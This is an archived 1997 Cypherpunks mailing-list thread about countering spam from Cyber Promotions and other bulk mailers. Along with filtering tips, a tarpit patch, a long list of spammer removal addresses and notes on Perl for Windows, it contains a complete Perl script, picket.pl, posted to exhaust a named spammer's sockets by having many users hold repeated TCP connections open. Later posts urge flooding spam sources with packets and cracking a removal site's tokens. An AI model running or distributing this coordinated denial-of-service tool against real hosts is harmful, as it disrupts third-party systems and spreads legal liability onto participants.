Picketing With Packets
I availed myself of some free home page enhancements on the Web yesterday, and all of a sudden, my SPAM has increased by at least an order of magnitude. Obviously, one or more of the sites I visited sold my email address to Mr. Spamford. I am now getting almost continuous Cyberpromo, EmailBlaster, and SubmitKing mailings as well as one from some female entrepreneur in Singapore who wants me to send her US$10 to email me obscene stories. (sigh) The time has come to make an example of Wallace Spamford, and to mount his stuffed carcass on the gates of the Internet as a warning to those who might be tempted to follow in his footsteps. The following was suggested to me by someone on IRC this morning, and I think it's a pretty nifty idea. We write a little Perl script that keeps exactly ONE AND ONLY ONE TCP connection open to each of Mr. Spamford's machines. Keeping a single TCP connection open to someone's box is unlikely to be illegal, and does not constitute a Denial of Service attack. Consider it the packet equivalent of a single person picketing. We publish the script, and encourage every Sysadmin who hates Mr. Spamford to run it. When thousands do so, he will be out of sockets, and consequently out of business. Consider this the packet equivalent of the UPS strike. We can make the scripts clever, and have them goose a wide variety of ports on Mr. Spamford's machines. He can, of course, devise a technical defense against this, but he does not have one installed at present, and it will shut him down for the time being, and give him sufficient time to ponder his evil ways. This also has the advantage of distributing the liability over thousands of individuals, a technique shown in the recent uunet UDP to render legal redress impractical. Anyone have any comments on this scheme, or anything even more insidious to suggest? -- Mike Duvos $ PGP 2.6 Public Key available $ enoch@zipcon.com $ via Finger $ {Free Cypherpunk Political Prisoner Jim Bell}
Mike Duvos <enoch@zipcon.net> writes:
We write a little Perl script that keeps exactly ONE AND ONLY ONE TCP connection open to each of Mr. Spamford's machines. Keeping a single TCP connection open to someone's box is unlikely to be illegal, and does not constitute a Denial of Service attack. Consider it the packet equivalent of a single person picketing.
Sounds good to me :-) Here's picket.pl. You create two files, one called "hosts" the other called "services", a hosts file of all of Spamford machines (if you have a list): answerme.com spamford.com savetrees.com and a "services" file with: smtp should do what you describe. There are a number of arguments you can play with also: % picket.pl [<num> [<max> [<sleep>] ] ] <num> is the number of sockets to hold open on each machine/service. Eg if we set this to 10, it'll try to open 10 connections to the SMTP port at savetrees.com. (Defaults to 1) <max> is the maximum number of connections to hold open (you might want some left for your own use :-). Linux seemed to merrily go over 256 though I think some unixes will give you a per user limit of around 256. (Defaults to 100). <sleep> is how long to wait before closing and reopening all the descriptors. (Defaults to 1 minute). For example: % picket.pl 10 100 600 would open 10 connections on each port, would consume 100 socket descriptors locally, and would wait 10 mins before closing them and starting over. Adam ==============================8<============================== #!/usr/local/bin/perl -s ($num, $max, $sleep) = @ARGV; if (!defined($num)) { $num = 1; } # try to open 1 socket on each service if (!defined($max)) { $max = 100; } # use this many file descriptors if (!defined($sleep)) { $sleep = 60; } # repeat after this time in seconds use Socket; $proto = getprotobyname( "tcp" ); $count = 0; $/ = undef; open( SERVICES, "services" ) || die( "can't open services\n" ); chop( @service = <SERVICES> ); close( SERVICES ); open( HOSTS, "hosts" ) || die( "can't open hosts\n" ); chop( @hosts = <HOSTS> ); close( HOSTS ); while ( 1 ) { foreach $host ( @hosts ) { foreach $service ( @service ) { foreach ( 1..$num ) { stuff( $host, $service ); if ( $v ) { print "fd[$count] = connect( $host:\U$service )\n"; } } } } sleep( $sleep ); } sub stuff { my( $host, $service ) = @_; my( $sock, $port, $ipaddr, $addr ); $sock = "SOCK$count"; $count = ($count + 1) % $max; close( $sock ); $port = getservbyname( $service, "tcp" ); socket( $sock, PF_INET, SOCK_STREAM, $proto ); $ipaddr = inet_aton( $host ); $addr = sockaddr_in( $port, $ipaddr ); connect( $sock, $addr ); } #==============================8<==============================
Bill Stewart (stewarts@ix.netcom.com) wrote :
(...) However, that doesn't really block the spammers who buy a list of N million targets and send spam out from their own machines, though shutting down Spamford and Harris Marketing would help, and would cut down the sales of the lists.
Hi, ever thougt about a "Teergrube" ? It's a Patch for sendmail (and smail AFAIR). It works as follows: sendmail Messages normally look like this 250 nostromo.ino.de Hello fenkt@localhost [127.0.0.1], pleased to meet you (Numbercode <Space> Human readable Text) A Minus Sign instead of the <Space> means, that sendmail waits for the current receive to finish. If such messages appear, say every minute, the Connection stays open for several hours, without a Timeout from the remote host. A Teergrube controls a therefor prepared MTA to produce such messages; depending on an predefined list of IP Numbers. It doesn't block all mail from the site; it just makes Bulk (maximal Amount in shortest possible Time) mail very difficult. A single User from that site can still send mail to your site, the only thing is the increased amount of time for delivery. This is opposite to blocking sites (sendmail 8.8.5 *Scheckrules ); which is just a self-defense, but not a Solution against UBE. If you want to try it: ftp://nutsy.han.de/pub/sendmail/ regards Thorsten
Mike Duvos <enoch@zipcon.net> writes:
I availed myself of some free home page enhancements on the Web yesterday, and all of a sudden, my SPAM has increased by at least an order of magnitude. Obviously, one or more of the sites I visited sold my email address to Mr. Spamford. ...
In all fairness, in addition to Stanford Wallace, there are several other spammers sending out junk e-mail. If you completely eliminate Stanford and his company, you will STILL get junk e-mail. Perhaps this will spark another round of a cypherpunk discussion of technical solutions to junk e-mail... I placed myself on a zillion "remove" lists. Now I no longer get any junk e-mail of interest (which I did on rare occasions), but still get at least once a day an MMF and/or an ad for a sex site. I'll tell you what I did, if anyone cares to spend a little time emulating what I did. Visit these two sites and jump through the loops: http://www.thehitman.com/ http://www.iemmc.org/validate.html (You may also want to check out these Web sites: http://drsvcs.com/nospam/ http://pages.ripco.com:8080/~glr/nojunk.html ) Send an e-mail with a "remove" in the subject to the following collection of addresses. I keep track of when I send in a semi-automatic ";remove" request. Quite a few of them keep on sending junk e-mail despite the remove requests. Some may add you to their junk mail list when they get your remove request if you're not on it already. 1health@zeecom.com 1stfam@regulus.net access@1stfamily.com access@1stfamily.com addresses@answerme.com admin@t-3net.com alpha1@delapaz.com askme@homepowerbiz.com babbling2@answerme.com babbling@answerme.com ballman@t-1net.com bannonj@mail.albany.net bannonj@ofns.com billm@ascella.net bizman@savetrees.com bizop@zignzag.com bld892@hotmail.com bowdie@regulus.net campaign@arialsoftware.com canceranswer@eom.net carproinc@savetrees.com cleanair@spica.net clubmail@com3xbz.riser.net clubmail@net5xai.riser.net credit2u@savetrees.com ctn@cartridgetechnology.com cyber@cura.net cyber@netlane.com dayton@onramp.net desp@answerme.com details1@savetrees.com dlsnet@savetrees.com editors@commonwealthpub.com enjoylife7@savetrees.com ernie@mlmail.com feedback@amazon.com feedback@fawcette.com fundsrecovery@savetrees.com future@successmail.com genesis@savetrees.com globalnet8@savetrees.com grow@savetrees.com heavensgate777@hotmail.com help@microsmarts.com help@savetrees.com hitinfo@rapidconnect.com hj11@tellthem.com htmp@rapidconnect.com iconsult@cyberpromo.com ims@cyberpromo.com imsco@cyberpromo.com incomeonline@nevwest.com info@spec-fx.com info@tsf-industries.com jimjohn12@workload.com josplace@lostvegas.com jrosato@ascella.net lninfo@savetrees.com lvc@lvcpub.com macs@answerme.com macsvc@ix.netcom.com mail@global-stock-exchange.com mail@mailermachine.com mailbox@alaska-marketplace.com mailer@mail.nettwerks.com mailme@ieighty.net mas-remove@nelsonpubl.com maximum@savetrees.com mdbiz@nevwest.com megamoneymakers@mail-response.com microcap@lostvegas.com mm_mail@mailermachine.com mnoffice@t-3net.com mxzr2@savetrees.com nancy@ginette.com netmoney@lostvegas.com netpower@answerme.com nhbb@t-1net.com no-news@amazon.com offshorecard@answerme.com outofhere@answerme.com owl@owlsnest.com pandrews@sc1.kintyre.com pctraining@savetrees.com pctraining@t-1net.com phoenix@workload.com picks@webersmall.com pls@savetrees.com pluto@nevwest.com pnpservices@t-1net.com postmaster@ascella.net postmaster@nim.com powertools@cybertools.net putpeel@putpeel.com reindex@aol.com remmee@answerme.com remove11@answerme.com remove1@answerme.com remove2@answerme.com remove3@answerme.com remove3@juno.com remove4@answerme.com remove5@answerme.com remove6@answerme.com remove7@answerme.com remove8@answerme.com remove@best-prices.com remove@cyberbundle.net remove@cyberpromo.com remove@eb.com remove@econopromo.com remove@endlesssuccess.com remove@first-star.com remove@gw.mailmaster.com remove@hydrix.com remove@i-machine.com remove@iemmc.org remove@looplink.com remove@mailout.com remove@mkt-america.com remove@mkt-usa.com remove@mortgagemgr.com remove@mortgagemgr.com remove@net-wwworth.com remove@newsyoucanuse.com remove@ngmgold.com remove@nim.com remove@qlink2info.com remove@quantcom.com remove@regulus.net remove@remove-me.com remove@worldwidepromo.com removeit@mkt-america.com removemenow@answerme.com removemenow@cyberpromo.com reply15@answerme.com root@mail.internorth.com roys@wt.net sales@e-distributors.com sales@scarlett.org sandy@inneraction.com secsys@1stfamily.com serenityinfo@savetrees.com service@ibase.net simrem@answerme.com skifast1@earthlink.net slender@juice4u.net smartbiz@nevwest.com solgroup@vii.com sonnyv@webspawner.com specialofffer@glenfinnan.com stealth@glenfinnan.com stephanie@pacific-publishing.com t3@t3-com.com takemeoff@answerme.com teambuilder@mail-response.com techkids@prolinx.net theadd@answerme.com tjordan@savetrees.com tnt-remove@eom.net tnt-remove@eom.net toner-girl@ctynet.com tony@answerme.com user2361@servmail.com virtualone@mynumber.com vision1@regulus.net vision2@regulus.net vision3@regulus.net vision4@regulus.net vision5@regulus.net vision6@regulus.net vision7@regulus.net vision8@regulus.net vmailone@mail89.com wcorp@netfiber.com webmaster@mailloop.com websales@akyp.com welcome@webersmall.com wss@wallstreetsports.com zvi@creditnet.com --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:
In all fairness, in addition to Stanford Wallace, there are several other spammers sending out junk e-mail. If you completely eliminate Stanford and his company, you will STILL get junk e-mail.
If Mr. Spamford were terminated with extreme prejudice, my junk email would be reduced to managable levels.
Perhaps this will spark another round of a cypherpunk discussion of technical solutions to junk e-mail...
I'm tempted to go some sort of postage route myself, but I occasionally get mail from newbies who have never written me before, and who occasionally have something interesting to say.
I placed myself on a zillion "remove" lists. Now I no longer get any junk e-mail of interest (which I did on rare occasions), but still get at least once a day an MMF and/or an ad for a sex site.
I'll tell you what I did, if anyone cares to spend a little time emulating what I did.
Visit these two sites and jump through the loops:
It is not *I* who should do the hoop-jumping in order to keep my mailbox free of garbage.
Send an e-mail with a "remove" in the subject to the following collection of addresses. I keep track of when I send in a semi-automatic ";remove" request. Quite a few of them keep on sending junk e-mail despite the remove requests. Some may add you to their junk mail list when they get your remove request if you're not on it already.
Again, I will forward *ALL* my email to /dev/null before I kowtow before some humongous list of offenders. [Very Long List Snipped] Additionally, a lot of mail is of the "This is the only mailing you will receive from us" variety. Getting 50 a day of those can be royally annoying as well. I am tempted to launch a few thousand packets in the direction of any IP which sends me unwanted material trying to sell me something. If everyone did this, spamming machines would be buried in a packet snowstorm within a few minutes of starting operations. -- Mike Duvos $ PGP 2.6 Public Key available $ enoch@zipcon.com $ via Finger $ {Free Cypherpunk Political Prisoner Jim Bell}
On Sat, 16 Aug 1997, Mike Duvos wrote:
dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:
Perhaps this will spark another round of a cypherpunk discussion of technical solutions to junk e-mail...
I'm tempted to go some sort of postage route myself, but I occasionally get mail from newbies who have never written me before, and who occasionally have something interesting to say.
Visit these two sites and jump through the loops:
Actually, two procmail lines manage to move 60-80% of my junkmail to a folder reserved for just that where I keep track. The first line is in the header: "X-Advertisement: For removal information ... www.iemmc.org" or whatever (remove the trailing period if it has one. And the second is the Email Blaster advertising banner and fax number in the body. And there was DynaMail which also had a fixed advertisement, but I only got one of those. And I have a lot more specific filters by processing the "domains registered to spammers" lists. Need I say that I am on the IEMMC removal list, or should be - for a long while they kept rejecting my tokens until I set up an agent which would keep submitting the form, and forward the mailed token properly. Then (after a few hundred) they kept saying it was in the middle of being processed. And the X-ad recipie is still finding mail to junk. --- reply to tzeruch - at - ceddec - dot - com ---
Mike Duvos <enoch@zipcon.net> writes:
dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:
In all fairness, in addition to Stanford Wallace, there are several other spammers sending out junk e-mail. If you completely eliminate Stanford and his company, you will STILL get junk e-mail.
If Mr. Spamford were terminated with extreme prejudice, my junk email would be reduced to managable levels.
Perhaps because others like him would be scared... Most of the shit I get is from other spammers.
Perhaps this will spark another round of a cypherpunk discussion of technical solutions to junk e-mail...
I'm tempted to go some sort of postage route myself, but I occasionally get mail from newbies who have never written me before, and who occasionally have something interesting to say.
How about this: have a program keep a list of the message-ids of all the articles you send to Usenet or via e-mail for a week. if someone sends you an e-mail with "In-Reply-to" message-id on the list, consider reading it. Otherwise if it's from a stranger, e-mail back explaining your filtering policy, and remember the message-id, so this time they can respond.
I placed myself on a zillion "remove" lists. Now I no longer get any junk e-mail of interest (which I did on rare occasions), but still get at least once a day an MMF and/or an ad for a sex site.
I'll tell you what I did, if anyone cares to spend a little time emulating what I did.
Visit these two sites and jump through the loops:
It is not *I* who should do the hoop-jumping in order to keep my mailbox free of garbage.
Here's a little crypto project: When you go to the iemmc.org site and enter your userid in a form, it e-mails back to you a number. You're supposed to retrive your e-mail, then go to another iemmc.org site and again type in your address and the number, and then you'll be removed from their junk mail list... yeah, right. Another dirty trick on iemmc.org's part is that if you're junking all e-mail from them, you can't get their number and can't complete their removal process (not that it helps much). Observation 1: it's much easier to get ON their junk mail list then to get OFF of it. Observation 2: if you enter the same userid several times, you get several different numbers in the mail; all of them work (not just the latest) Observation 3: a number that works with one address won't work with another address. It looks like the magic number has some random part and a checksum of the e-mail address you're trying to remove. It would embarrass them if we had a way of generating the numbers than their cgi script accepts. (Alternatively, maybe someone can pull out the source to their cg script...) Then people would be able to get themselves on the "remove" list much easier.
Additionally, a lot of mail is of the "This is the only mailing you will receive from us" variety. Getting 50 a day of those can be royally annoying as well.
I am tempted to launch a few thousand packets in the direction of any IP which sends me unwanted material trying to sell me something. If everyone did this, spamming machines would be buried in a packet snowstorm within a few minutes of starting operations.
Or they'll develop new techniques to combat such DOS attacks that'll benefit us all. :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
On Sun, 17 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
Observation 1: it's much easier to get ON their junk mail list then to get OFF of it.
There are two lists, or more properly one list - the remove list. The "ON" list is whatever cyberbomber or emailblaster, etc. generates. They are supposed to run the outbound mail through the remove list filter. And take action against anyone who doesn't.
Observation 2: if you enter the same userid several times, you get several different numbers in the mail; all of them work (not just the latest)
All returned numbers give the same effect. One day that changed from "The token you entered was invalid, try again or restart with your name" to "That user id removal is already in progress - please try again in 24 hours". --- reply to tzeruch - at - ceddec - dot - com ---
nospam-seesignature@ceddec.com writes:
On Sun, 17 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
Observation 1: it's much easier to get ON their junk mail list then to get OFF of it.
There are two lists, or more properly one list - the remove list. The "ON" list is whatever cyberbomber or emailblaster, etc. generates.
It's interesting to note that thir very popular address harvesting program was posted for free by the guy who sells an e-mail filtering program.
They are supposed to run the outbound mail through the remove list filter. And take action against anyone who doesn't.
I put a lot of bwalk mailboxes on the iemmc's off list, and I still get a lot of shit in those mailboxes, stating in the header 'x-ad: see iemmc for removal instructions". Fucking liars.
Observation 2: if you enter the same userid several times, you get several different numbers in the mail; all of them work (not just the latest)
All returned numbers give the same effect. One day that changed from "The token you entered was invalid, try again or restart with your name" to "That user id removal is already in progress - please try again in 24 hours".
That must be a recent development. I broke my Web browser and can't look t it. [If I had realized what a buggy piece of shit NT is, I would have kept OS/2 on bwalk and installed NT on another box. :-( . Learn from my mistakes folks - NT sucks, OS/2 rulez.] --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
-----BEGIN PGP SIGNED MESSAGE----- On Sat, 16 Aug 1997, Dr.Dimitri Vulis KOTM wrote: [...]
In all fairness, in addition to Stanford Wallace, there are several other spammers sending out junk e-mail. If you completely eliminate Stanford and his company, you will STILL get junk e-mail.
Of cause this is true, but he is one of the beggest and thus gets the most attention. If we can stop him we cut down alot of email spam and we can move on the smaller one. Its like optimising code, you find where its taken most of its time and you optimise that.
Perhaps this will spark another round of a cypherpunk discussion of technical solutions to junk e-mail...
Hopefully, the spammers are just as effective censors as the goverment is IMHO.
I placed myself on a zillion "remove" lists. Now I no longer get any junk e-mail of interest (which I did on rare occasions),
I'm haveing trubble parsing this message, do you mean that you are not getting any junk e-mail that you are interested in?
but still get at least once a day an MMF
I think this is a diffrent class of posting. Thouse peaple who post MMF do it from ignorence and stupidity, while this dosn't make what thay have done any less harmfull, it means that it has to be fixxed in a diffrent way to normal UCE. - -- Please excuse my spelling as I suffer from agraphia see the url in my header. Never trust a country with more peaple then sheep. ex-net.scum and proud You Say To People "Throw Off Your Chains" And They Make New Chains For Themselves? --Terry Pratchett -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQCVAwUBM/ctg6QK0ynCmdStAQGVDAQAhHkKWZs0Mxnqs0OEcZ71x8mxZaJSCaYq ZYu3UU6jH91+Qg1s+Cl2q/t+YF4RQIId0rX1irqVx+Cp80fQKYDJrTDXD3ptwa9B 2p8zDouF08yuzKvhrC9gC2JbgB4AzYmbAYyQ4KrjuPxuEEOd8omQKYFdkhHnZ6/W FfR/djktv4E= =8rv9 -----END PGP SIGNATURE-----
? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
On Sat, 16 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
In all fairness, in addition to Stanford Wallace, there are several other spammers sending out junk e-mail. If you completely eliminate Stanford and his company, you will STILL get junk e-mail.
Of cause this is true, but he is one of the beggest and thus gets the most attention. If we can stop him we cut down alot of email spam and we can move on the smaller one. Its like optimising code, you find where its taken most of its time and you optimise that.
He's the loudest one. However in the week his system has been down, the amount of shit from Quantcom, newvest, etc hasn't subsided.
Perhaps this will spark another round of a cypherpunk discussion of technical solutions to junk e-mail...
Hopefully, the spammers are just as effective censors as the goverment is IMHO.
The answer is a technical solution that doesn't let the spammers drown out a discussion, if that's what you mean by censorship.
I placed myself on a zillion "remove" lists. Now I no longer get any junk e-mail of interest (which I did on rare occasions),
I'm haveing trubble parsing this message, do you mean that you are not getting any junk e-mail that you are interested in?
I mean, I used to get more unsolicited junk mail, which I deleted, but occasionally I saw something of moderate interest - say, someone selling blank CDR media reasonably cheap (not that I'd buy them from someone advertizing this way). Now all I get is pure crap. :-)
but still get at least once a day an MMF
I think this is a diffrent class of posting. Thouse peaple who post MMF do it from ignorence and stupidity, while this dosn't make what thay have done any less harmfull, it means that it has to be fixxed in a diffrent way to normal UCE.
For reasons unknown, I seem to be on someone's mailing list for MMF's - I get A LOT of them in e-mail :-( --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
On Mon, 18 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
[...Standford wallis...]
He's the loudest one. However in the week his system has been down, the amount of shit from Quantcom, newvest, etc hasn't subsided.
So we should work on stopping them. Each one we stop it will be a little harder to defend them selves.
The answer is a technical solution that doesn't let the spammers drown out a discussion, if that's what you mean by censorship.
That is, you have one for me I hope. [...]
For reasons unknown, I seem to be on someone's mailing list for MMF's - I get A LOT of them in e-mail :-(
So you haven't seen the make "Make Dimitry Mad" posts to alt.make.money.fast? :D Please excuse my spelling as I suffer from agraphia see the url in my header. Never trust a country with more peaple then sheep. Buy easter bilbies. Save the ABC Is $0.08 per day too much to pay? ex-net.scum and proud I'm sorry but I just don't consider 'because its yucky' a convincing argument
At 02:27 PM 8/16/97 -0700, Mike Duvos wrote:
I availed myself of some free home page enhancements on the Web yesterday, and all of a sudden, my SPAM has increased by at least an order of magnitude. Obviously, one or more of the sites I visited sold my email address to Mr. Spamford.
Not obvious at all - spammers have harvester programs that hunt down new web pages to find spammer targets, and since three of the different spammer groups are hitting you, that's probably what happened.
The following was suggested to me by someone on IRC this morning, and I think it's a pretty nifty idea. We write a little Perl script that keeps exactly ONE AND ONLY ONE TCP connection open to each of Mr. Spamford's machines.
Perl is a nice language to write such things in, but you won't get huge quantities of people implementing it, except perhaps Linux users. You need an executable that'll run on Win3.1 or Win95 (sigh); a user interface letting you input different targets is also good. However, that doesn't really block the spammers who buy a list of N million targets and send spam out from their own machines, though shutting down Spamford and Harris Marketing would help, and would cut down the sales of the lists. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list or news, please Cc: me on replies. Thanks.)
On Sun, 17 Aug 1997, Bill Stewart wrote:
At 02:27 PM 8/16/97 -0700, Mike Duvos wrote:
The following was suggested to me by someone on IRC this morning, and I think it's a pretty nifty idea. We write a little Perl script that keeps exactly ONE AND ONLY ONE TCP connection open to each of Mr. Spamford's machines.
Perl is a nice language to write such things in, but you won't get huge quantities of people implementing it, except perhaps Linux users. You need an executable that'll run on Win3.1 or Win95 (sigh);
Perl is available for Windoze 32bit (for free), including W95 and 3.11 and NT. see: http://reference.perl.com/query.cgi?windows Note also that cyberpromo is *inviting* us to make connections! The following is quoted from http://www.cyberpromo.com/ "FreeRelay" Network IS UP AND RUNNING! Attention Bulk Emailers: CYBER PROMOTIONS HAS DONE IT AGAIN! Set your SMTP's to... freerelay.cyberpromo.com or to our newest setting... freerelay2.cyberpromo.com Open as many simultaneous connections as you wish - It's FREE! And best of all, your email will be automatically filtered against IEMMC's global remove list...
On Mon, 25 Aug 1997, Lou Poppler wrote:
Perl is a nice language to write such things in, but you won't get huge quantities of people implementing it, except perhaps Linux users. You need an executable that'll run on Win3.1 or Win95 (sigh);
Perl is available for Windoze 32bit (for free), including W95 and 3.11 and NT. see: http://reference.perl.com/query.cgi?windows
There are two ports of Perl 5.x available for Win32. (Win 3.11 is *NOT* a 32 bit platform. (There is a Win32 extension available, but it has some drawbacks, as well as a long bug/incompatibility list, the last time I checked.)) The two ports are: -- The standard Perl distribution. The standard distribution of Perl 5.004_02 (the latest at last check) will build under Win95/NT. Gurusamy Sarathy has a set of prebuilt binaries for this. It can be found at any CPAN site. (My favorite is ftp://ftp.cdrom.com/pub/perl/CPAN or you can try the main archive site at ftp://ftp.funet.fi/pub/languages/perl/CPAN .) The path for the prebuilt binaries is ftp://ftp.cdrom.com/pub/perl/CPAN/ports/win95/Gurusamy_Sarathy/ . There are tar files built with Borland C++ and MS Visual C++. (You will need something like WinZip 6.2 to expand them.) The readme files explain the steps to install. This version is the recommended port of choice of the Perl5-Porters list. -- The ActiveWare port. This port is a few versions back (5.002?), but has prebuilt binaries available. (Including DLL interfaces for the IIS server and other things.) It is not as complete as the standard distribution. (It is missing some of the newer 5.004 features, as well as some of the standard modules.) I have used it though and it works very well. (An older version of this port is included in the Win NT resource kit, as well as with the IIS server.) Perl is gaining use amongst the Win32 community as more and more people find out about it. (And there are a number of crypto related apps available for it as well. Check out the CPAN archives for the latest list.) alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply Alan Olsen | to my mail, just hit the ctrl, alt and del keys. List Admin - Perl5-Porters@perl.org
participants (10)
-
? the platypus {aka David Formosa} -
? the Platypus {aka David Formosa}
-
Adam Back -
Alan -
Bill Stewart -
dlv＠bwalk.dm.com -
Lou Poppler -
Mike Duvos -
nospam-seesignature＠ceddec.com -
Thorsten Fenk